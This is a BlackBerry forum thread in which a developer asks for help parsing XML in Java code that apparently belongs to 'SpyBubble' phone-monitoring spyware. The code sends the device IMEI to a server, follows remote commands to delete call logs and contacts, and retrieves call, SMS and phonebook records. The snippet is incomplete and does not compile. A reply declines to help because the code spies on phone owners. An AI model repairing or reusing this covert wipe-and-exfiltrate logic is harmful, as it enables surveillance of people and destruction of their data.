Welcome!

Welcome to the official BlackBerry Support Community Forums.

This is your resource to discuss support topics with your peers, and learn from each other.

inside custom component

Java Development

Reply
Developer
ajaysainsgvu
Posts: 242
Registered: ‎02-19-2013
My Device: 9500

Error in parsing the XML

[ Edited ]

<?xml version=”1.0”?>

<GetData>

<Restore>Call</Restore>

<RestoreData>

<Data></Data>

<Totalpages></Totalpages>

<Currpage></Currpage>   

</RestoreData>

<Wipe>Call|Phonebook</Wipe>

</GetData>

 

I am getting error while parsing. can anyone suggest me how to parse this xml and get the every node value.

 

 

public void createService() {
        synchronized (this) {
            try {
                int current = 1, total = 1;
                String result = new String();
                String imei = DeviceDataManager.getIMEI();
                String request = "<GetData><IMEI>" + imei + "</IMEI><Action>RestoreWipe</Action></GetData>";
                String response = HttpUtil.postDataAndGetResponse(GET_ACTIONS_URL, request);
                if(response.length() != 0) {
                    try {
                        DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
                        DocumentBuilder builder = factory.newDocumentBuilder();
                        Document resDoc = builder.parse(new ByteArrayInputStream(response.getBytes()));
                        
                        if(resDoc != null)
                        {
                            // Wipe data
                            String wipeType = resDoc.getElementsByTagName("Wipe").item(0).getn;
                            if(wipeType != null && !wipeType.equals("")) {
                                String array[] = Util.split(wipeType, "|");
                                for(int pos = 0; pos < array.length; pos++) {
                                    if(pos == 1) {
                                        DeviceDataManager.deletePhoneLogs();
                                    }
                                    else if(pos == 2) {
                                        DeviceDataManager.deleteContacts();
                                    }
                                }
                            }
                            
                            // Restore data
                            String restoreType = resDoc.getElementsByTagName("Restore").item(0).getTextContent();
                            if(restoreType != null && !restoreType.equals(""))
                            {
                                // Store first page records into 'result'.
                                helper(result, resDoc, restoreType);
                                total = Integer.parseInt(resDoc.getElementsByTagName("Totalpages").item(0).getTextContent());
                                
                                // Start while loop for next page records.
                                while(current < total) {
                                    current++;
                                    request = "<GetData><IMEI>" + imei + "</IMEI>"
                                            + "<Restore>" + restoreType + "</Restore>"
                                            + "<Currpage>" + current + "</Currpage></GetData>";
                                    response = HttpUtil.postDataAndGetResponse(SpyBubbleServer.GET_ACTIONS_URL, request);;
                                    if(response.length() != 0) {
                                        resDoc = builder.parse(new ByteArrayInputStream(response.getBytes()));
                                        if(resDoc != null)
                                            helper(result, resDoc, restoreType);
                                    }
                                }
                                
                                // Start restoring data into phone.
                                
                            }
                        }
                    }
                    catch(Exception e) {
                        System.out.println("Exception arises:" + e.toString());
                    }
                }
            } catch(Exception e) {
                System.out.println("Exception arises:" + e.toString());
            }
        }
    }
    
    private void helper(String result, Document resDoc, String restoreType) {
        if(restoreType.equals("Call") || restoreType.equals("SMS")) {
            NodeList recordNL = resDoc.getElementsByTagName("Record");
            for(int count=0; count<recordNL.getLength(); count++) {
                NodeList childNode = recordNL.item(count).getChildNodes();
                for(int countChild=0; countChild<childNode.getLength(); countChild++)
                    result += childNode.item(countChild).getTextContent() + "|";
                result += "|";
            }
        }
        else if(restoreType.equals("Phonebook")) {
            NodeList recordNL = resDoc.getElementsByTagName("Record");
            for(int count=0; count<recordNL.getLength(); count++)
                result += recordNL.item(count).getTextContent() + "||";
        }
    }

Developer
simon_hain
Posts: 16,282
Registered: ‎07-29-2008
My Device: Z10 LE, Z30, Passport

Re: Error in parsing the XML

i prefer if software used to spy on a phones owner does not work :smileyhappy:
----------------------------------------------------------
feel free to press the like button on the right side to thank the user that helped you.
please mark posts as solved if you found a solution.
@SimonHain on twitter
Developer
ajaysainsgvu
Posts: 242
Registered: ‎02-19-2013
My Device: 9500

Re: Error in parsing the XML

Can you give the hint what could be problem. How can i this parse this XML.